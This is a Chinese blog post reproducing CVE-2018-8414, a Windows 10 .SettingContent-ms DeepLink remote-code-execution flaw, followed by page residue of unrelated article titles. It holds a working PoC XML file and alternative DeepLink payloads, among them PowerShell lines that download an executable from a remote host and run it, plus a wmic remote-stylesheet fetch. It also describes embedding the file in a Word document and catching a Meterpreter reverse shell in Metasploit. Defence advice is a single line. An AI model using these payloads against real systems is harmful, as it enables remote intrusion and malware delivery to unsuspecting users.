0x00   SettingContent-ms文件介绍

.SettingContent-ms是在Windows 10中引入的一种文件类型,它的内容是XML格式进行编写的,主要用于创建Windows设置页面的快捷方式.Windows 10下行.SettingContent-ms后缀的文件,系统并未判断该类文件所在的路径是否在控制面板相关目录下,便直接执行了文件中用于控制面板设置相关的深层链接标签指定的任意程序,导致用户执行系统任意目录下的此类文件或者从网络上下载的经过精心设计的.SettingContent-ms文件也会直接执行其中指定的恶意程序对象,导致任意代码执行.

文件包含一个<DeepLink>标记,它带有带参数的任何二进制文件并执行它。这可能会导致问题,因为攻击者可以使用指向二进制文件(如cmd.exe或PowerShell.exe)的DeepLink元素创建.SettingContent-ms文件,该文件为其提供shell命令执行。

0x01 Windows Defender AV ASR Rules

Windows Defender AV ASR Rules主要是为了解决防止漏洞利用恶意软件感染计算机和应用程序,它是在Windows 10, version 1709 and later和Windows Server 2016中引入的,所有说之前的Windows Defender版本是没有ASR Rules的。

从以下版本开始:Windows 10版本1703到1803 和Windows Server版本1709到1803如下图显示是Windows Defender AV ASR Rules自带了AttackSurfaceReductionRules_Ids功能规则。

而在低于该版本的10240中,Windows Defender AV ASR Rules是没有带AttackSurfaceReductionRules_Ids

注意:某些时候漏洞利用失败取决于文件位置(默认策略设置),因此只需要将POC文件复制到如下目录下就可以执行。(如果改变默认路径可以通过下载https://github.com/joesecurity/scmwrap/blob/master/scmwrap.exe通过管理员权限下去命令执行 scmwrap.exe  -install)

C:\Users\[USER]\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\[LANGUAGE]\

0x02 漏洞复现

1.简单的测试弹出计算器

1.将测试poc文件放入以下目录位置:

C:\Users\admin(用户)

\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\zh-CN\目录下

2.    点击测试POC文件:

<?xml version="1.0" encoding="UTF-8"?>

<PCSettings>

  <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">

    <ApplicationInformation>

<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>

      <DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink>

<Icon>%windir%\system32\control.exe</Icon>

    </ApplicationInformation>

    <SettingIdentity>

      <PageID></PageID>

<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>

    </SettingIdentity>

    <SettingInformation>

<Description>@shell32.dll,-</Description>

      <Keywords>@shell32.dll,-</Keywords>

    </SettingInformation>

  </SearchableContent>

</PCSettings>

其他<DeepLink>…</DeepLink>可替换POC:

.  %windir%\system32\cmd.exe /c "C:\Program Files\Internet Explorer\iexplore.exe" -k https://www.backlion.org/
.   %SystemRoot%\System32\WindowsPowerShell\v1.\powershell.exe -wind hidden -noni -nop -nologo -Comm "(New-Object System.Net.WebClient).DownloadFile('http://192.168.225.129/pwn.exe', $Env:AppData+'\svrcheck.exe'); Start-Process $Env:AppData'\svrcheck.exe'; Exit-PSSession;"
.  powershell-windowstyle  hiddle  (New-ObjectSystem.Net.WebClient)DownloadFile('https://www.xxx.com/test.exe',%APPDATA%\Rundll32.exe');Start-Process '%APPDATA%\Rundll32.exe'
.  wmic os get /format:"https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist"

3.    点击test. settingcontent-MS,即可弹出calc

2.嵌入到office中弹出计算器

1.创建一个word,这里我就拿offcie 2007来当例子

2.点插入-对象-选择由文件创建

4.     双击图标后即可打开即可弹出计算器、

3.kali下反弹shell

利用脚本下载地址:

https://raw.githubusercontent.com/backlion/demo/master/auto_settingcontent-ms.py

1.在KALI下执行脚本auto_settingcontent-ms.py,并填上监听IP地址(KALI本机主机IP)和端口

root@kali2018:/opt# python auto_settingcontent-ms.py

2.会在当前目录下生成一个Test.SettingContent-ms以及将生成的LICENSE.txt自动拷贝到/var/www/html目录下。

5.开启apache服务。

root@kali2018:/opt# service apache2 start

6.启动msf,然后进行设置IP地址和监听端口以及payload

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload    windows/meterpreter/reverse_https

msf exploit(multi/handler) > show options

msf exploit(multi/handler) > set lhost     10.250.117.10

msf exploit(multi/handler) > set lport     

msf exploit(multi/handler) > exploit

7.将生成的Test.SettingContent-ms拷贝出来,然后新建一个test.doc文档,通过插入数据

8.然后点击保持test.docx,并打开该文档点击图标即可反弹。

9.可以看到kali下反弹目标系统shell.

0x03  漏洞影响版本

适用于32位系统的Windows 10版本1703

 

4343885

安全更新

远程执行代码

重要

4338826

适用于基于x64的系统的Windows 10版本1703

 

4343885

安全更新

远程执行代码

重要

4338826

适用于32位系统的Windows 10版本1709

 

4343897

安全更新

远程执行代码

重要

4338825

适用于64位系统的Windows 10版本1709

 

4343897

安全更新

远程执行代码

重要

4338825

用于32位系统的Windows 10版本1803

 

4343909

安全更新

远程执行代码

重要

4338819

适用于基于x64的系统的Windows 10版本1803

 

4343909

安全更新

远程执行代码

重要

4338819

Windows Server,版本1709(服务器核心安装)

 

4343897

安全更新

远程执行代码

重要

4338825

Windows Server,版本1803(服务器核心安装)

 

4343909

安全更新

远程执行代码

重要

4338819

0x04 漏洞防御建议

最好在防火墙和/或电子邮件网关阻止.SettingContent-ms文件通过执行。此外,可能还需要考虑使用组策略强制.SettingContent-ms禁止在记事本中打开(https://montour.co/2016/09/group-policy-force-js-files/)。

0x05  参考链接

https://www.t00ls.net/thread-47622-1-1.html

https://hk.saowen.com/a/18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341

https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39

https://github.com/joesecurity/scmwrap

https://github.com/SScyber0/Deeplink_Reverse_TCP

 
 
 
 

Windows Shell远程执行代码漏洞((CVE-2018-8414)复现的更多相关文章

  1. HTTP.SYS远程执行代码漏洞分析 (MS15-034 )

    写在前言:   在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.S ...

  2. HTTP.sys远程执行代码漏洞

    远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞. http://bbs.safedog.cn/thre ...

  3. CVE-2013-1347Microsoft Internet Explorer 8 远程执行代码漏洞

    [CNNVD]Microsoft Internet Explorer 8 远程执行代码漏洞(CNNVD-201305-092) Microsoft Internet Explorer是美国微软(Mic ...

  4. HTTP.SYS 远程执行代码漏洞分析(MS15-034 )

    在2015年4月安全补丁日,微软发布了11项安全更新,共修复了包括Microsoft Windows.Internet Explorer.Office..NET Framework.Server软件. ...

  5. 【研究】CVE-2015-1635-HTTP.SYS远程执行代码漏洞(ms15-034)

    1.1.1  漏洞描述 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 ).利用HTTP. ...

  6. IIS_CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现

    CVE-2015-1635-HTTP.SYS远程执行代码漏洞复现 一.漏洞描述 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HT ...

  7. CVE-2019-0708远程桌面服务远程执行代码漏洞exp利用过程

    CVE-2019-0708远程桌面服务远程执行代码漏洞 上边这洞是啥我就不多说了,描述类的自行百度. 受影响系统版本范围: Windows Server 2008 R2 Windows Server ...

  8. Microsoft .NET Framework 远程执行代码漏洞

    受影响系统:Microsoft .NET Framework 4.8Microsoft .NET Framework 4.7.2Microsoft .NET Framework 4.7.1Micros ...

  9. HTTP.sys远程执行代码漏洞检测

    1.漏洞描述:HTTP 协议栈 (HTTP.sys) 中存在一个远程执行代码漏洞,这是 HTTP.sys 不正确地分析特制 HTTP 请求时导致的.成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任 ...

随机推荐

  1. Java字符串与日期互转

    Java字符串与日期的相互转换 1.字符串转日期 字符串的格式与日期的格式一定要对应,并且字符串格式可以比日期格式多,但不能少,数字大小不自动计算日期.其中需要主要大小写 年yyyy 月MM 日dd ...

  2. ats 分层缓存

    了解缓存层次结构 缓存层次结构由彼此通信的缓存级别组成.ats支持多种类型的缓存层次结构. 所有缓存层次结构都识别父和子的概念. 父缓存是层次结构中较高的缓存, ats可以 将请求转发到该缓存.子缓存 ...

  3. php从入门到放弃系列-02.php基础语法

    php从入门到放弃系列-02.php基础语法 一.学习语法,从hello world开始 PHP(全称:PHP:Hypertext Preprocessor,即"PHP:超文本预处理器&qu ...

  4. python常用模块目录

    博客目录总纲首页 python其他知识目录 random  hashlib  os  sys  json __name__ shutil  xlrd  xlwt   xlutils 核心模块:os s ...

  5. Centos7 zabbix 分布式监控

    分布式监控 zabbix Server ===> zabbix agent (只能同一个局域网监控)     分布式监控:         a. 分担压力,降低负载         b. 多机房 ...

  6. 6.capacity scheduler

      1.先决条件 要使用yarn的capcitiy调度器,必须开启yarn的ACLs,否则队列ACLs设置不生效 开启yarn ACLs: # hadoop: core-site.xml hadoop ...

  7. 哪些场景下无法获得上一页referrer信息

    哪些场景下无法获得上一页referrer信息 直接在浏览器地址栏中输入地址: 使用 location.reload() 刷新(location.href 或者  location.replace()  ...

  8. ModelAndView在页面上取值时value="{contextConfigLocation=<NONE>}"

    后台: mv.getModel().put("initParam", 1); 页面: <input type="hidden" id="init ...

  9. Daily Scrum (2015/10/29)

    今天晚上我们学霸项目的三个小组在一起开会,讨论如何能在后期使我们三个项目更好地结合在一起.为了三个小组的能够同时工作,不出现某一小组因需要其他小组成果而停滞的情况,我们决定围绕lucene,solr, ...

  10. bug排查

    有时候让朋友,或者群友,或者同事帮忙看一样困扰你很久的bug会得到意向不到的结果. 因为他们往往不像你,已经在调试代码的过程中被一些东西给束缚了.他们会凭借自己的第一直觉来尝试解决问题,跳过你已经走的 ...